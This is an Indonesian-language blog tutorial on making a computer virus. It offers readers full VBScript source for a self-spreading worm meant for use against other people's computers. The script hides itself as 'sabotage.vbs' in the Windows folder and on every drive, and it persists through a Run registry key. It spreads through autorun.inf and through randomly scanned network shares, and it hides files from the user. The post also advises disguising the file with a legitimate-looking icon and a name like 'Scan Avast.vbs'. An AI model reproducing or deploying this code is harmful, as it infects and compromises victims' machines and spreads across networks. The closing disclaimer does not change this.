Cara Membuat Virus Komputer Dengan Cmd

Cara membuat virus komputer dengan cmd Virus Malware di komputer memang sangat menjengkelkan, namun jika kamu tertarik untuk bisa membuat sebuah malware yang menyerang komputer orang lain, betul sekali untuk membuat malware kamu hanya membutuhkan program notepad di komputer. Malware atau worm ini berfungsi untuk menggandakan dirinya saat terhubung ke jaringan internet. Malware ini akan berjalan secara otomatis walaupun tanpa sepengetahuan dari pengguna komputer yang dimasukinya. Malware ini masuk melalui celah yang terbuka pada sistem keamanan yang berjalan atau kita menyebutnya dengan istilah vulnerability, bagaimana cara membuat malware ini mari kita simak ulasan kami. cara membuat virus di cmd

Untuk bisa membuat sebuah malware bukalah program notepad atau kamu bisa menggunakan aplikasi yang saya berikan ini, aplikasi ini dimana kamu dapat memanipulasi tampilan icon yaang sudah kamu susupi script malware jadi akan berbentuk seperti sebuah aplikasi resmi yang mana orang tidak akan mengetahui bahwa itu sebuah virus, cara membuat virus di cmd.

baca juga: Trik Menggunakan Http Injector Semua Operator Terbukti Work

cara membuat virus komputer dengan cmd

Cara Membuat Virus Malware di Komputer

  1. Bukalah aplikasi notepad atau menggunakan aplikasi ini.
  2. Tuliskan script virus malware yang akan saya berikan dibawah ini.
  3. Gunakan aplikasi ini agar sobat bisa merubah tampilan gambar agar malware ini bisa terlihat resmi.
  4. Tuliskan kode di bawah ini atau bisa mengcopy nya kemudian simpan dengan nama file *.vbs. Agar menyerupai aplikasi resmi gunakan nama –nama yang terkenal untuk bisa mengelabui pengguna komputer misalnya: Scan Avast.vbs

Script kode virus di bawah ini:

‘54807463

On Error Resume Next

Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count

count = “0”

dot = “.”

drivecon=”0″

set wshnetwork = wscript.createobject(“wscript.network”)

Set Wshshell = Wscript.CreateObject(“Wscript.Shell”)

Set fso = CreateObject(“Scripting.FileSystemObject”)

RG = “Software\Microsoft\Windows\CurrentVersion”

Set Markas = fso.GetSpecialFolder(0)

SU = Wshshell.SpecialFolders(“AllUsersStartUp”)

SU = Replace(SU, “C:”, “s:”)

If fso.FileExists(“autorun.inf”) then

Wshshell.Run “explorer.exe “

End if

Wshshell.Run(“net share system=C:\ /unlimited”), 0, true

Randomize

For i =1 to 8

r = int(rnd * 50) + 66

polm = polm & Chr(r)

next

polm = Chr(39) & polm & Chr(13) & Chr(10)

Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1)

strRan = dropper.readline

src = dropper.readall

strRan = polm

randmat()

Do

If not fso.FileExists(Markas & “\sabotage.vbs”) then

Set dropper = fso.CreateTextFile(Markas & “\sabotage.vbs”, True)

dropper.write strRan

dropper.write src

dropper.Close

fso.GetFile(Markas & “\sabotage.vbs”).attributes = 39

Wshshell.Run “wscript.exe ” & Markas & “\sabotage.vbs”

End if

Wshshell.RegWrite “HKLM” & RG & “\Run\WinSystem”, Markas & “\sabotage.vbs”

Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HideFileExt”, “1”, “REG_DWORD”

Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\HIDDEN”, “0”, “REG_DWORD”

Wshshell.RegWrite “HKCU” & RG & “\EXPLORER\ADVANCED\SHOWSUPERHIDDEN”, “0”, “REG_DWORD”

for each a in fso.drives

If a.isready then

fso.GetFile(a & “\sabotage.vbs”).Attributes = 0

Set dropper = fso.CreateTextFile(a & “\sabotage.vbs”, True)

dropper.write strRan

dropper.write src

dropper.Close

fso.GetFile(a & “\sabotage.vbs”).Attributes = 39

fso.GetFile(a & “\autorun.inf”).Attributes = 0

Set auto = fso.CreateTextFile(a & “\autorun.inf”, True)

auto.WriteLine(“[autorun]”)

auto.WriteLine(“ShellExecute=wscript.exe sabotage.vbs”)

auto.Close

fso.GetFile(a & “\autorun.inf”).Attributes = 39

End if

next

If not Wscript.ScriptFullName = Markas & “\sabotage.vbs” then

Wscript.Quit

End if

do while drivecon = “0”

check()

shareformat()

wshnetwork.mapnetworkdrive “s:”, sharename

enumdrives()

loop

copyfiles()

disconnect()

Wscript.Sleep 60000

Loop

function disconnect()

wshnetwork.removenetworkdrive “s:”

drivecon = “0”

end function

function copyfiles()

Set fso = CreateObject(“scripting.filesystemobject”)

fso.copyfile Wscript.ScriptFullName, SU & “\sab0tage.vbs”

end function

function check()

raxd = raxd + 1

if raxd = “255” then randmat()

end function

function shareformat()

sharename = “\” & raxa & dot & raxb & dot & raxc & dot & raxd & “\C”

end function

function enumdrives()

Set odrives = wshnetwork.enumnetworkdrives

For i = 0 to odrives.Count -1

if sharename = odrives.item(i) then

drivecon = 1

else

‘ drivecon = 0

end if

Next

end function

function randum()

rand = int((254 * rnd) + 1)

end function

function randmat()

if count < 50 then

raxa=Int((16) * Rnd + 199)

count=count + 1

else

randum()

raxa= rand

end if

randum()

raxb=rand

randum()

raxc=rand

raxd=”1″

end function

baca juga: Download Aplikasi Hack Game Android Paling Ampuh 2017

Kami disini hanya memberikan sebuah informasi yang digunakan untuk belajar sobat, jika sobat menggunakan keperluan virus ini untuk tindak kejahatan maka itu diluar dari tanggung jawab team ponselharian.com. Terima kasih telah membaca artikel kami cara membuat virus komputer dengan cmd semoga bermanfaat untuk kamu dan berbagilah untuk sahabat kamu. Selamat berkunjung kembali di ponselharian.com

Cara Membuat Virus Komputer Dengan Cmd | admin | 4.5